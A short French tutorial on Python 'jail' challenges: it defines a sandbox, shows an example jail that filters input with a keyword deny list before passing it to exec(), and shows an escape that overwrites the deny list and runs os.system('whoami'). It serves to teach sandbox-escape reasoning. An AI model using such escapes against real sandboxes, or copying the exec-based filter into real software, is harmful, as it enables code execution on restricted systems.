



# Les Jails



# Avertissement



Il est crucial de souligner que la manipulation de jails à des fins malveillantes est illégale et contraire à l'éthique. Les exercices présentés ont uniquement un but éducatif.

# Sommaire

- 1 Qu'est-ce qu'une jail
- 2 Comment résout-on une jail ?
- 3 Exemple de jail
- 4 Exemple de résolution
- 5 Interêt

# 1 Qu'est ce qu'une jail

- Espace sécurisé où l'on peut executer du code
- Environnement isolé qui empêche l'utilisateur d'accéder à des fonction critiques du système

## 2 Comment résout-on une jail ?

```
>>>import os  
>>>os.system('whoami')  
  
OU  
  
__import__('os').system('whoami')  
  
ETC
```

```
>>>
```

# 3 Exemple de jail

```
banned_words = ["exec", "eval", "builtins", "getattr", "globals", "locals", "import", "os", "open", "__", "breakpoint"]

while True:
    command = input(">>>")
    if any(bad in command for bad in banned_words):
        print("Unauthorized command.")
    else:
        try:
            exec(command)
        except Exception as e:
            print(f"Invalid command, {e}")
```

## 4 Exemple de résolution

```
>>>import os
Unauthorized command.
>>>banned_words=[]
>>>print(banned_words)
[]
>>>import os
>>>os.system("whoami")
feduser
```

# 5 Intérêt

- Mieux comprendre le langage de programmation ainsi que ses limites et ses vulnérabilités
- Développer un raisonnement différent, utile pour résoudre des problèmes complexes en développement
- Approfondir sa compréhension du fonctionnement des systèmes de sécurité.



**Bonne chance !**